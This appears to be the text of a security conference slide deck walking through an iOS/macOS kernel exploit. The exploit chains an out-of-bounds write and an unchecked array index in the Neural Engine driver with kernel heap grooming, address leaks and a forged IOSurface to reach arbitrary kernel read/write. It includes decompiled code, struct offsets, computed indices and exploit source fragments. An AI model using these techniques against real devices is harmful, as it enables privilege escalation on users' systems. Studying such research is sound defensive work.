- Overwrite IOSurfaceClient reference in IOSurfaceRootUserClient for arbitrary r/w:
    - First public appearance of the technique was in my *oob_event* kernel exploit for iOS 13.7
    - Used to bypass zone_require() by corrupting corpse_task->kernel_map to gain tfp0
- Build a fake IOSurface and use external methods for kernel r/w

```
IOReturn __fastcall IOSurface::setIndexedTimestamp(IOSurface *this, u64 index, u64 timestamp)
{
  IOReturn result; // w0

  if...
  result = 0;
  this->m_IOSurface.p_SharedRW->timestamp[index] = timestamp;
  return result;
}
```

```
unsigned int __fastcall IOSurface::get_use_count(IOSurface *this)
{
  return this->m_IOSurface.p_SharedRO->use_count;
}
```

Build an arbitrary kernel r/w primitive

- tfp0 techniques are dead since iOS 14.0
- Overwrite IOSurfaceClient reference in IOSurfaceRootUserClient for arbitrary r/w
    - First public appearance of the technique was in my *oob_event* kernel exploit for iOS 13.7
    - Used to bypass zone_require() by corrupting corpse_task->kernel_map to gain tfp0
- Build a fake IOSurface and use external methods for kernel r/w
- John Åkerblom's Zer0Con 2022 slides for more details
- Apple mitigated the technique in iOS 15.3

IOSurface Security Changes

- Useful when the attacker controls the *p_Clients* array or one of *IOSurfaceClient* objects.
- Use *IOSurfaceID* to lookup a fake *IOSurfaceClient.*
- Use *IOSurfaceRootUserClient::set_indexed_timestamp()* for arbitrary write.
- Use *IOSurfaceRootUserClient::get_surface_use_count()* for arbitrary read.

<= iOS 15.2/macOS 12.1

```
IOReturn __fastcall IOSurfaceRootUserClient::set_indexed_timestamp(
        IOSurfaceRootUserClient *this,
        uint surfaceID,
        u64 index,
        u64 timestamp)
{
  IOReturn kr; // w20
  struct IOSurfaceClient *SurfaceClient; // x8

  kr = 0xE00002C2;
  IOLockLock(this->m_IOSurfaceRootUserClient.locks);
  if ( surfaceID )
  {
    if ( this->m_IOSurfaceRootUserClient.mClient_Count > surfaceID )
    {
      SurfaceClient = this->m_IOSurfaceRootUserClient.p_Clients[surfaceID];
      if ( SurfaceClient )
        kr = IOSurface::setIndexedTimestamp(SurfaceClient->m_IOSurfaceClient.p_IOSurface, index, timestamp);
    }
  }
  IOLockUnlock(this->m_IOSurfaceRootUserClient.locks);
  return kr;
}
```

```
unsigned int __fastcall IOSurface::get_use_count(IOSurface *this)
{
  return this->m_IOSurface.p_SharedRO->use_count;
}
```

```
IOReturn __fastcall IOSurface::setIndexedTimestamp(IOSurface *this, u64 index, u64 timestamp)
{
  IOReturn result; // w0

  if...
  result = 0;
  this->m_IOSurface.p_SharedRW->timestamp[index] = timestamp;
  return result;
}
```

IOSurface Security Changes

<= iOS 15.2/macOS 12.1

```
IOReturn __fastcall IOSurfaceRootUserClient::set_indexed_timestamp(
        IOSurfaceRootUserClient *this,
        uint surfaceID,
        u64 index,
        u64 timestamp)
{
  IOReturn kr; // w20
  struct IOSurfaceClient *SurfaceClient; // x8

  kr = 0xE00002C2;
  IOLockLock(this->m_IOSurfaceRootUserClient.locks);
  if ( surfaceID )
  {
    if ( this->m_IOSurfaceRootUserClient.mClient_Count > surfaceID )
    {
      SurfaceClient = this->m_IOSurfaceRootUserClient.p_Clients[surfaceID];
      if ( SurfaceClient )
        kr = IOSurface::setIndexedTimestamp(SurfaceClient->m_IOSurfaceClient.p_IOSurface, index, timestamp);
    }
  }
  IOLockUnlock(this->m_IOSurfaceRootUserClient.locks);
  return kr;
}
```

Apple introduced I*OSurfaceRootUserClient::getSurfaceClient()*

```
IOReturn __fastcall IOSurfaceRootUserClient::set_indexed_timestamp(
        IOSurfaceRootUserClient *this,
        uint surfaceID,
        u64 index,
        u64 timestamp)
{
  IOReturn kr; // w20
  IOSurfaceClient *SurfaceClient; // [xsp+8h] [xbp-28h] BYREF

  SurfaceClient = (IOSurfaceClient *)0xAAAAAAAAAAAAAAAALL;
  IOLockLock(this->m_IOSurfaceRootUserClient.locks);
  if ( IOSurfaceRootUserClient::getSurfaceClient(this, surfaceID, &SurfaceClient) )
    kr = IOSurface::setIndexedTimestamp(SurfaceClient->m_IOSurfaceClient.p_IOSurface, index, timestamp);
  else
    kr = 0xE00002C2;
  IOLockUnlock(this->m_IOSurfaceRootUserClient.locks);
  return kr;
}
```

~ iOS 15.3

IOSurface Security Changes

Apple introduced I*OSurfaceRootUserClient::getSurfaceClient()* which does the following:

```
IOReturn __fastcall IOSurfaceRootUserClient::getSurfaceClient(
        IOSurfaceRootUserClient *this,
        unsigned int SurfaceID,
        IOSurfaceClient **SurfaceClientOut)
{
  struct IOSurfaceClient *SurfaceClient; // x16
  IOSurfaceClient *v4; // x20
  IOSurfaceRoot *p_ioSurfaceRoot; // x21

  if ( !SurfaceID )
    return 0;
  if ( this->m_IOSurfaceRootUserClient.mClient_Count <= SurfaceID )
    return 0;
  SurfaceClient = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( !SurfaceClient )
    return 0;
  v4 = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( SurfaceClient->m_IOSurfaceClient.userclient != this
    || (p_ioSurfaceRoot = SurfaceClient->m_IOSurfaceClient.p_IOSurface->m_IOSurface.p_ioSurfaceRoot,
        p_ioSurfaceRoot != IOSurfaceRoot::root()) )
  {
    IOSurfaceRootUserClient::getSurfaceClient();// panic("\"Bad IOSurfaceClient\" @%s:%d", "IOSurfaceR
  }
  *SurfaceClientOut = v4;
  return 1;
}
```

IOSurface Security Changes

Apple introduced I*OSurfaceRootUserClient::getSurfaceClient()* which does the following:

```
IOReturn __fastcall IOSurfaceRootUserClient::getSurfaceClient(
        IOSurfaceRootUserClient *this,
        unsigned int SurfaceID,
        IOSurfaceClient **SurfaceClientOut)
{
  struct IOSurfaceClient *SurfaceClient; // x16
  IOSurfaceClient *v4; // x20
  IOSurfaceRoot *p_ioSurfaceRoot; // x21

  if ( !SurfaceID )
    return 0;
  if ( this->m_IOSurfaceRootUserClient.mClient_Count <= SurfaceID )
    return 0;
  SurfaceClient = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( !SurfaceClient )
    return 0;
  v4 = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( SurfaceClient->m_IOSurfaceClient.userclient != this
    || (p_ioSurfaceRoot = SurfaceClient->m_IOSurfaceClient.p_IOSurface->m_IOSurface.p_ioSurfaceRoot,
        p_ioSurfaceRoot != IOSurfaceRoot::root()) )
  {
    IOSurfaceRootUserClient::getSurfaceClient();// panic("\"Bad IOSurfaceClient\" @%s:%d", "IOSurfaceR
  }
  *SurfaceClientOut = v4;
  return 1;
}
```

```
__text:0000000000024474    CMP     W8, W1
__text:0000000000024478    B.LS    loc_244E4
__text:000000000002447C    LDR     X8, [X0,#0x118]
__text:0000000000024480    ADD     X8, X8, W1,UXTW#3
__text:0000000000024484    LDR     X16, [X8]
__text:0000000000024488    CBZ     X16, loc_244E4
__text:000000000002448C    MOV     X17, X8
__text:0000000000024490    MOVK    X17, #0xF69B,LSL#48
__text:0000000000024494    AUTDA   X16, X17
__text:0000000000024498    MOV     X17, X16
__text:000000000002449C    XPACD   X17
__text:00000000000244A0    CMP     X16, X17
__text:00000000000244A4    B.EQ    loc_244AC
__text:00000000000244A8    BRK     #0xC472
```

- Pointer Authenticate IOSurfaceClient object when it’s looked-up via a given surface id.

IOSurface Security Changes

Apple introduced I*OSurfaceRootUserClient::getSurfaceClient()* which does the following:

```
IOReturn __fastcall IOSurfaceRootUserClient::getSurfaceClient(
        IOSurfaceRootUserClient *this,
        unsigned int SurfaceID,
        IOSurfaceClient **SurfaceClientOut)
{
  struct IOSurfaceClient *SurfaceClient; // x16
  IOSurfaceClient *v4; // x20
  IOSurfaceRoot *p_ioSurfaceRoot; // x21

  if ( !SurfaceID )
    return 0;
  if ( this->m_IOSurfaceRootUserClient.mClient_Count <= SurfaceID )
    return 0;
  SurfaceClient = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( !SurfaceClient )
    return 0;
  v4 = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( SurfaceClient->m_IOSurfaceClient.userclient != this
    || (p_ioSurfaceRoot = SurfaceClient->m_IOSurfaceClient.p_IOSurface->m_IOSurface.p_ioSurfaceRoot,
        p_ioSurfaceRoot != IOSurfaceRoot::root()) )
  {
    IOSurfaceRootUserClient::getSurfaceClient();// panic("\"Bad IOSurfaceClient\" @%s:%d", "IOSurfaceR
  }
  *SurfaceClientOut = v4;
  return 1;
}
```

```
__text:0000000000024474    CMP     W8, W1
__text:0000000000024478    B.LS    loc_244E4
__text:000000000002447C    LDR     X8, [X0,#0x118]
__text:0000000000024480    ADD     X8, X8, W1,UXTW#3
__text:0000000000024484    LDR     X16, [X8]
__text:0000000000024488    CBZ     X16, loc_244E4
__text:000000000002448C    MOV     X17, X8
__text:0000000000024490    MOVK    X17, #0xF69B,LSL#48
__text:0000000000024494    AUTDA   X16, X17
__text:0000000000024498    MOV     X17, X16
__text:000000000002449C    XPACD   X17
__text:00000000000244A0    CMP     X16, X17
__text:00000000000244A4    B.EQ    loc_244AC
__text:00000000000244A8    BRK     #0xC472
```

- Pointer Authenticate IOSurfaceClient object when it's looked-up via a given surface id.
- IOSurfaceClient->user client reference matches the calling UserClient.

IOSurface Security Changes

Apple introduced I*OSurfaceRootUserClient::getSurfaceClient()* which does the following:

```
IOReturn __fastcall IOSurfaceRootUserClient::getSurfaceClient(
        IOSurfaceRootUserClient *this,
        unsigned int SurfaceID,
        IOSurfaceClient **SurfaceClientOut)
{
  struct IOSurfaceClient *SurfaceClient; // x16
  IOSurfaceClient *v4; // x20
  IOSurfaceRoot *p_ioSurfaceRoot; // x21

  if ( !SurfaceID )
    return 0;
  if ( this->m_IOSurfaceRootUserClient.mClient_Count <= SurfaceID )
    return 0;
  SurfaceClient = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( !SurfaceClient )
    return 0;
  v4 = this->m_IOSurfaceRootUserClient.p_Clients[SurfaceID];
  if ( SurfaceClient->m_IOSurfaceClient.userclient != this
    || (p_ioSurfaceRoot = SurfaceClient->m_IOSurfaceClient.p_IOSurface->m_IOSurface.p_ioSurfaceRoot,
        p_ioSurfaceRoot != IOSurfaceRoot::root()) )
  {
    IOSurfaceRootUserClient::getSurfaceClient();// panic("\"Bad IOSurfaceClient\" @%s:%d", "IOSurfaceR
  }
  *SurfaceClientOut = v4;
  return 1;
}
```

```
__text:0000000000024474    CMP     W8, W1
__text:0000000000024478    B.LS    loc_244E4
__text:000000000002447C    LDR     X8, [X0,#0x118]
__text:0000000000024480    ADD     X8, X8, W1,UXTW#3
__text:0000000000024484    LDR     X16, [X8]
__text:0000000000024488    CBZ     X16, loc_244E4
__text:000000000002448C    MOV     X17, X8
__text:0000000000024490    MOVK    X17, #0xF69B,LSL#48
__text:0000000000024494    AUTDA   X16, X17
__text:0000000000024498    MOV     X17, X16
__text:000000000002449C    XPACD   X17
__text:00000000000244A0    CMP     X16, X17
__text:00000000000244A4    B.EQ    loc_244AC
__text:00000000000244A8    BRK     #0xC472
```

- Pointer Authenticate IOSurfaceClient object when it's looked-up via a given surface id.
- IOSurfaceClient->user client reference matches the calling UserClient.
- IOSurface->SurfaceRoot must match gIOSurfaceRoot value.

IOSurface Security Changes

- **Strong validation checks for *IOSurfaceClient* objects:**
  - PAC Bypass is required to corrupt the array of IOSurfaceClient objects.
  - IOSurfaceRootUserClient location is required to forge IOSurfaceClient.

IOSurface Security Changes

- **Strong validation checks for *IOSurfaceClient* objects:**
  - PAC Bypass is required to corrupt the array of IOSurfaceClient objects.
  - IOSurfaceRootUserClient location is required to forge IOSurfaceClient.
- **Weak validation checks for IOSurface objects:**
  - *IOSurfaceRoot* location is required.

IOSurface Security Changes

- **Strong validation checks for *IOSurfaceClient* objects:**
  - PAC Bypass is required to corrupt the array of IOSurfaceClient objects.
  - IOSurfaceRootUserClient location is required to forge IOSurfaceClient.
- **Weak validation checks for IOSurface objects:**
  - *IOSurfaceRoot* location is required.
- **No checks at all for IOSurface->SharedRO/RW pointers.**

```
IOReturn __fastcall IOSurface::setIndexedTimestamp(IOSurface *this, u64 index, u64 timestamp)
{
  IOReturn result; // w0

  if...
  result = 0;
  this->m_IOSurface.p_SharedRW->timestamp[index] = timestamp;
  return result;
}
```

```
unsigned int __fastcall IOSurface::get_use_count(IOSurface *this)
{
  return this->m_IOSurface.p_SharedRO->use_count;
}
```

Build an arbitrary kernel r/w primitive

To achieve kernel r/w, corrupt IOSurfaceClient->IOSurface location with a fake IOSurface. The attacker needs the following:

- A write primitive to overwrite IOSurfaceClient->IOSurface is needed.
- Leak an IOSurfaceClient object location that's created by the attacker.
- Leak *IOSurfaceRoot* location to bypass IOSurfaceRootUserClient::getSurfaceClient() last check.
- A (Fake IOSurface) kernel pointer whose content is under the attacker's control.

Build an arbitrary kernel r/w primitive

- For the write primitive, I used DeCxt::RasterizeScaleBiasData() OOB write to corrupt the target IOSurfaceClient object.
- To achieve this, the mutable kernel section (MUTK) address is required.

```
15    goto LABEL_8;
16  kloc = (MUTK_kernel_section + param_1 + OcgRasterizationInfo->start);
17  if ( MUTK_kernel_section + MUTK_kernel_section_size < &kloc[OcgRasterizationInfo->end] )
18    return 0;
19  if ( OcgRasterizationInfo->end )
20  {
21    v16 = 0LL;
22    while ( 1 )
23    {
24      v34 = 0;
25      result = DvPtr1->vtable->GetFloat(DvPtr1, v16 + OcgRasterizationInfo->pos, &v34);
26      if ( !result )
27        break;
28      _S0 = v34;
29      __asm { FCVT            H0, S0 }
30      kloc[v16++] = _S0;
31      if ( v16 >= OcgRasterizationInfo->end )
32        goto LABEL_8;
33    }
34  }
```

DeCxt::RasterizeScaleBiasData()

Virtual kernel address space

Build an arbitrary kernel r/w primitive

- **The OOB write can be used as:**

Build an arbitrary kernel r/w primitive

- **The OOB write can be used as:**
    - *Near Writes*: Write into any offset near to *MUTK*.

Build an arbitrary kernel r/w primitive

- **The OOB write can be used as:**
    - *Near Writes*: Write into any offset near to *MUTK*.
    - *Far Writes*: Perform arbitrary write to any kernel memory below `MUTK`.

Build an arbitrary kernel r/w primitive

- **The OOB write can be used as:**
    - *Near Writes*: Write into any offset near to *MUTK*.
    - *Far Writes*: Perform arbitrary write to any kernel memory below `MUTK`.
- **For *Far Writes* we need to locate the exact address of the *MUTK* buffer.**

Leak ‘MUTK’ Section Mapping Address

Leak ‘MUTK’ Section Mapping Address

What is the 'MUTK' from the attacker’s perspective?

- It’s a private IOSurface mapped buffer created by the kernel.

Leak ‘MUTK’ Section Mapping Address

What is the 'MUTK' from the attacker’s perspective?

- It’s a private IOSurface mapped buffer created by the kernel.

```
319     v243 = v54;
320     ret_1 = H11ANEIn::AllocateSharedMemorySurface(
321               this,
322               (unionvar.SectionInfo->infos[j].ComputeSection->MachSections->size + this->m_H11ANEIn.page_size - 1) & -this->m_H11ANEIn.page_size,
323               &ProgramBuffer->m.MUTK_Surface[k],
324               1,
325               'MUTK',
326               1,                                // requireMap
327               0,                                // isGlobal
328               0);                               // useReserve
329     if ( ret_1 )
330       break;
331     v57 = j;
```

From **H11ANEIn::ANE_ProgramCreate_gated()**

Leak ‘MUTK’ Section Mapping Address

What’s the mutable kernel ‘MUTK’ section ?

- It’s a private IOSurface mapped buffer created by the kernel.
- The buffer is allocated from *IOKit Pageable Maps*.

Leak ‘MUTK’ Section Mapping Address

What’s the mutable kernel ‘MUTK’ section ?

- It’s a private IOSurface mapped buffer created by the kernel.
- The buffer is allocated from *IOKit Pageable Maps*.
- The buffer is mapped by *H11ANEIn::patchMutableSurface()*.

```
v9 = ProgramBuffer->m.MUTK_Surface[request->mutablebufferIndex];
if ( !v9->surface_memMap )
{
  v10 = v9->surface_memDesc->vtable->map(v9->surface_memDesc, 0);
  _ProgramBuffer = (ProgramBuffer + 8 * request->mutablebufferIndex);
  _ProgramBuffer->m.MUTK_Surface[0]->surface_memMap = v10;
  v12 = _ProgramBuffer->m.MUTK_Surface[0]->surface_memMap;
  if...
  ProgramBuffer->m.MUTK_Surface[request->mutablebufferIndex]->surface_vAddress = v12->vtable->getVirtualAddress(v12);
}
if ( request->p_weightsBufferIOSurface_map
```

H11ANEIn::patchMutableSurface()

Leak ‘MUTK’ Section Mapping Address

```
v9 = ProgramBuffer->m.MUTK_Surface[request->mutablebufferIndex];
if ( !v9->surface_memMap )
{
  v10 = v9->surface_memDesc->vtable->map(v9->surface_memDesc, 0);
  _ProgramBuffer = (ProgramBuffer + 8 * request->mutablebufferIndex);
  _ProgramBuffer->m.MUTK_Surface[0]->surface_memMap = v10;
  v12 = _ProgramBuffer->m.MUTK_Surface[0]->surface_memMap;
  if...
  ProgramBuffer->m.MUTK_Surface[request->mutablebufferIndex]->surface_vAddress = v12->vtable->getVirtualAddress(v12);
}
```

H11ANEIn::patchMutableSurface()

- MUTK buffer is mapped in the kernel via *H11ANEIn::patchMutableSurface()*.
- The mapping address is stored in **ProgramBuffer** object.
- All ‘MUTK’ information stored in *H11ANESharedMemorySurfaceParamsStruct*.
- **Leak ProrgamBuffer->MUTK_Surface object to user-space to retrieve the MUTK buffer address.**

Leak ‘MUTK’ Section Mapping Address

What’s a programBuffer from the attacker’s perspective ?

- *H11ANEProgramBufferParamsStruct* size is **0x53e70.**
- **kalloc_type()’**ed object.
- Big allocations don’t have a dedicated zone.
- Big allocations without zone fall into **KHEAP_DEFAULT**.
- Big allocations in **KHEAP_DEFAULT** with size > 0x8000 fall into **kernel_map**.
- *H11ANEProgramBufferParamsStruct* is allocated from **kernel_map**.

Leak ‘MUTK’ Section Mapping Address

H11ANEProgramBufferParamsStruct object structure:

H11ANEProgramBufferParamsStruct

```
Offset  Size   struct __attribute__((aligned(8))) _H11ANEProgramBufferParamsStruct
               {
  0000  0004     unsigned int size;
  0008  0008     char *dartMapBase;
  0010  0008     IOMemoryMap *inMap;
  0018  0008     IOMemoryDescriptor *inDesc;
  0020  0008     IODMACommand *pIODMACommand;
  0028  0004     uint32_t referenceCount;
  0030  0008     H11ANESharedMemorySurfaceParamsStruct *p_ProgSurface;
  0038  0004     unsigned int programId;
  0040  0008     OSArray *ProcessParamsSet;
  0048  0008     _QWORD programAuthCode;
  0050  0010     __int64 f_50_uc[2];
  0060  0010     u64 f_60_uc[2];
  0070  0020     char f_70[32];
  0090  0001     _BYTE byte90;
  0091  0002     __attribute__((packed)) __attribute__((aligned(1))) __int16 gap91;
  0098  01C0     ZinComputeProgramSne m_sCSneCmdProgramLoad;
  0258 52B50     H11ANEProgramCreateArgsStructOutput ProgramCreateArgsStructOutput;
 52DA8  0050     char str_data_1[80];
 52DF8  0008     unsigned __int64 mCacheSize;
 52E00  0800     char string_data[2048];
 53600  0800     char modelIdentString[2048];
 53E00  0008     ZinComputeProgramInitInfo *p_ZinComputeProgramInitInfo;
 53E08  0008     u64 field_53E08;
 53E10  0010     H11ANESharedMemorySurfaceParamsStruct *MUTK_Surface[2];
 53E20  0008     u64 field_53E20_;
 53E28  0008     task *p_Task;
 53E30  0004     u32 DebugInfoSurfaceId;
```

Leak ‘MUTK’ Section Mapping Address

H11ANEProgramBufferParamsStruct object structure:

H11ANEProgramBufferParamsStruct

```
Offset Size  struct __attribute__((aligned(8))) _H11ANEProgramBufferParamsStruct
             {
 0000  0004    unsigned int size;
 0008  0008    char *dartMapBase;
 0010  0008    IOMemoryMap *inMap;
 0018  0008    IOMemoryDescriptor *inDesc;
 0020  0008    IODMACommand *pIODMACommand;
 0028  0004    uint32_t referenceCount;
 0030  0008    H11ANESharedMemorySurfaceParamsStruct *p_ProgSurface;
 0038  0004    unsigned int programId;
 0040  0008    OSArray *ProcessParamsSet;
 0048  0008    _QWORD programAuthCode;
 0050  0010    __int64 f_50_uc[2];
 0060  0010    u64 f_60_uc[2];
 0070  0020    char f_70[32];
 0090  0001    _BYTE byte90;
 0091  0002    __attribute__((packed)) __attribute__((aligned(1))) __int16 gap91;
 0098  01C0    ZinComputeProgramSne m_sCSneCmdProgramLoad;
 0258 52B50    H11ANEProgramCreateArgsStructOutput ProgramCreateArgsStructOutput;
52DA8  0050    char str_data_1[80];
52DF8  0008    unsigned __int64 mCacheSize;
52E00  0800    char string_data[2048];
53600  0800    char modelIdentString[2048];
53E00  0008    ZinComputeProgramInitInfo *p_ZinComputeProgramInitInfo;
53E08  0008    u64 field_53E08;
53E10  0010    H11ANESharedMemorySurfaceParamsStruct *MUTK_Surface[2];
53E20  0008    u64 field_53E20;
53E28  0008    task *p_Task;
53E30  0004    u32 DebugInfoSurfaceId;
```

H11ANESharedMemorySurfaceParamsStruct

```
Offset Size  struct __attribute__((aligned(8)))
             H11ANESharedMemorySurfaceParamsStruct
             {
 0000  0008    uint64_t size;
 0008  0008    IOSurface *p_IOSurface;
 0010  0008    uint64_t dartMapBase;
 0018  0008    IOMemoryDescriptor *surface_memDesc;
 0020  0008    IOMemoryMap *surface_memMap;
 0028  0008    char *surface_vAddress;
 0030  0008    IODMACommand *dmaCommand;
 0038  0004    uint8_t usage[4];
 003C  0004    uint32_t ref_count;
 0040  0004    int programId;
 0044  0004    int processId;
       0048  };
```

- *H11ANESharedMemorySurfaceParamsStruct* object holds interesting IOSurface information
- How to leak *H11ANESharedMemorySurfaceParamsStruct content?*

Leak ‘MUTK’ Section Mapping Address

DeCxt::FileIndexToWeight() **lack of array index validation:**

- Use *DeCxt::FileIndexToWeight()* index to fetch programBuffer->MUTK_Surface[0] as a fake mutable weight buffer.
- Make one *ProgramBuffer* adjacent to *ANECMutableWeight* array.
- Because the *ANECMutableWeight* array allocation **size is user-controlled**, the attacker can direct the allocation to take place in **kernel** map.
- *ANECMutableWeight* allocations is a temporary.
- To make *ProgramBuffer* and *ANECMutableWeight* near to each other, **kernel_map** grooming is required.

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Load multiple *ProgramBuffer* objects by creating several programs.
- Allocate an OSArray backing store of size 0x54000 between each 2 *programBuffer* objects.

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Load multiple *ProgramBuffer* objects by creating several programs.
- Allocate an OSArray backing store of size 0x54000 between each 2 *programBuffer* objects.

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Load multiple *ProgramBuffer* objects by creating several programs.
- Allocate an OSArray backing store of size 0x54000 between each 2 *programBuffer* objects.
- Release all the OSArray objects.

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Load multiple *ProgramBuffer* objects by creating several programs.
- Allocate an OSArray backing store of size 0x54000 between each 2 *programBuffer* objects.
- Release all the OSArray objects.
- Allocate *ANECMutableWeight* array with size of 0x54000.

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

```
bool __thiscall DeCxt::FileIndexToWeight(DeCxt *this, uint32_t index, uint64_t offset, char **param_3)
{
  MutableOperationInfo *weight_objects; // x8
  uint64_t weightBufSize; // x20

  weight_objects = this->weight_objects;
  weightBufSize = weight_objects[index]._weightBufSize;
  if ( weightBufSize <= offset )
    _os_log_internal(
      &dword_0,
      &_os_log_default,
      0,
      "%s: aggregate weight buffer chunk too small",
      "bool DeCxt::FileIndexToWeight(uint32_t, uint64_t, const char *&)");
  else
    *param_3 = &weight_objects[index]._weightBuf[offset];
  return weightBufSize > offset;
}
```

Offset	Size	struct ANECMutableWeight
		{
0000	0008	uint8_t *_weightBuf;
0008	0008	uint64_t _weightBufSize;
	0010	};

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Use *DeCxt::FileIndexToWeight()* lack of array index validation.

```
1  bool __thiscall DeCxt::FileIndexToWeight(DeCxt *this, uint32_t index, uint64_t offset, char **param_3)
2  {
3    MutableOperationInfo *weight_objects; // x8
4    uint64_t weightBufSize; // x20
5
6    weight_objects = this->weight_objects;
7    weightBufSize = weight_objects[index]._weightBufSize;
8    if ( weightBufSize <= offset )
9      _os_log_internal(
10       &dword_0,
11       &_os_log_default,
12       0,
13       "%s: aggregate weight buffer chunk too small",
14       "bool DeCxt::FileIndexToWeight(uint32_t, uint64_t, const char *&)");
15   else
16     *param_3 = &weight_objects[index]._weightBuf[offset];
17   return weightBufSize > offset;
18 }
```

Offset	Size	struct ANECMutableWeight
		{
0000	0008	uint8_t *_weightBuf;
0008	0008	uint64_t _weightBufSize;
	0010	};

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Use *DeCxt::FileIndexToWeight()* lack of array index validation.
- **index** = (*sizeof*(ANECMutableWeight[]) **+** *offsetof*(programBuffer, MUTK_Surface[0]) **/** *sizeof*(ANECMutableWeight).
- **index** = (**0x54000** + **0x53E10**) / **0x10 = 0x000a7e1**.
- The selected weight buffer is passed to *DeCxt::ParseTransform()* for processing.
- Then *DeCxt::RasterizeScaleBiasData()* stores the elements to `MUTK` IOSurface buffer.

Leak ‘MUTK’ Section Mapping Address

Grooming kernel_map:

- Use *DeCxt::FileIndexToWeight()* lack of array index validation.
- **index** = (*sizeof*(ANECMutableWeight[]) **+** *offsetof*(programBuffer, MUTK_Surface[0]) **/** *sizeof*(ANECMutableWeight).
- **index** = (**0x54000** + **0x53E10**) / **0x10 = 0x000a7e1**.
- The selected weight buffer is passed to *DeCxt::ParseTransform()* for processing.
- Then *DeCxt::RasterizeScaleBiasData()* stores the elements to `MUTK` IOSurface buffer.

Leak ‘MUTK’ Section Mapping Address

MUTK buffer cannot be read by user-space:

- `*MUTK*` IOSurface object is private therefore its content cannot be read.
- Because MUTK cannot be read, the OOB index bug is **technically not exploitable**.
- To make the OOB index exploitable, combine it with the OOB write vulnerability.
- Use the Near-Write **to copy the leaked structure outside of the MUTK buffer**
- The target location to write into must be readable by our process.
- `MUTK` IOSurface buffer is allocated from *IOKitPageableMaps* .
- Groom ***IOKitPageableMaps*** is required.

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

Leak ‘MUTK’ Section Mapping Address

Grooming <u>IOKitPageableMaps</u> requirements:

- Buffers that can be allocated in ***<u>IOKitPageableMaps</u>***.
- Those buffers can be shared with (or copy data out to) user-space process.
- Shared memory FTW!

Leak ‘MUTK’ Section Mapping Address

Grooming <u>IOKitPageableMaps</u> requirements:

- Buffers that can be allocated in ***<u>IOKitPageableMaps</u>***.
- Those buffers can be shared with (or copy data out to) user-space process.
- Shared memory FTW!
- The best option is : **IOGPU shared buffers**.
- *<u>IOGPU</u>* is reachable from the default app sandbox.

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

- Allocate *MAX_SHMEMS* (=0x3000) shared memory objects.

```
do_s_set_command_queue_notification_queue(c,q,n->id);
uint32_t count = MAX_SHMEMS - 1;
for(int i=0; i < count; i++) {
        struct shmem * shm = do_s_create_shmem(c,0x4000,1);;
        assert(!mlock(shm->shm_addr,shm->shm_len));
        shmems[shmems_count] = shm;
        shmems_count++;
}
```

WeightBuf kernel exploit

Leak ‘MUTK’ Section Mapping Address

Grooming <u>IOKitPageableMaps</u> requirements:

- Allocate *<u>MAX_SHMEMS</u>* (=0x3000) shared memory objects.
- Shared memory object size = 0x4000.

```
438         do_s_set_command_queue_notification_queue(c,q,n->id);
439         uint32_t count = MAX_SHMEMS - 1;
440         for(int i=0; i < count; i++) {
441                 struct shmem * shm = do_s_create_shmem(c,0x4000,1);;
442                 assert(!mlock(shm->shm_addr,shm->shm_len));
443                 shmems[shmems_count] = shm;
444                 shmems_count++;
445         }
446
```

WeightBuf kernel exploit

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

- Allocate *MAX_SHMEMS* (=0x3000) shared memory objects.
- Shared memory object size = 0x4000.
- Map shared memory objects to the kernel via *s_submit_command_buffers()*.

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

- Allocate *MAX_SHMEMS* (=0x3000) shared memory objects
- Shared memory object size = 0x4000
- Map shared memory objects to the kernel via *s_submit_command_buffers()*

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

- Allocate *MAX_SHMEMS* (=0x3000) shared memory objects
- Shared memory object size = 0x4000
- Map shared memory objects to the kernel via *s_submit_command_buffers()*
- Use *Near Writes* to copy *H11ANESharedMemorySurfaceParamsStruct* to one of our shared buffers

Leak ‘MUTK’ Section Mapping Address

Grooming IOKitPageableMaps requirements:

- Allocate *MAX_SHMEMS* (=0x3000) shared memory objects
- Shared memory object size = 0x4000
- Map shared memory objects to the kernel via *s_submit_command_buffers()*
- Use *Near Writes* to copy *H11ANESharedMemorySurfaceParamsStruct* to one of our shared buffers
  - Write *H11ANESharedMemorySurfaceParamsStruct* at **MUTK_kernel_address - 0x280000**

Leak ‘MUTK’ Section Mapping Address

Grooming *IOKitPageableMaps*

- Scan all the *shared buffers* to find the scratched one using *lookup_scratched_shmem().*

```
/*
 * The leaked 0x48 bytes should contain 'MUTK' integer value in it
 * If not found, it means either the spray has failed or something other than H11ANESharedMemorySurfaceParamsStruct
 * has been leaked.
 */
struct shmem * shm = lookup_scratched_shmem('MUTK',4,&offset);
if(shm == NULL) {
        printf("[-] Something went wrong here, if you experience this failure a lot, this means the device is not idle "
                "and we couldn't shape the memory as expected. It's preferable to reboot the device and try again \n");
        return false;
}
```

- For full implementation see *groom_pageable_maps()* in the exploit source code.

Leak ‘MUTK’ Section Mapping Address

Grooming *IOKitPageableMaps*

- Scan all the *shared buffers* to find the scratched one using *lookup_scratched_shmem().*
- If found, one of the *shmem* buffers holds *H11ANESharedMemorySurfaceParamsStruct.*

```
[+] Found scratched ShmemID 0x1f7c with size 0x4000
00 40 00 00 00 00 00 00  80 BB D9 ED 24 FE FF FF  |  .@..........$...
00 00 78 02 00 00 00 00  38 51 7F 8A 16 FE FF FF  |  ..x.....8Q......
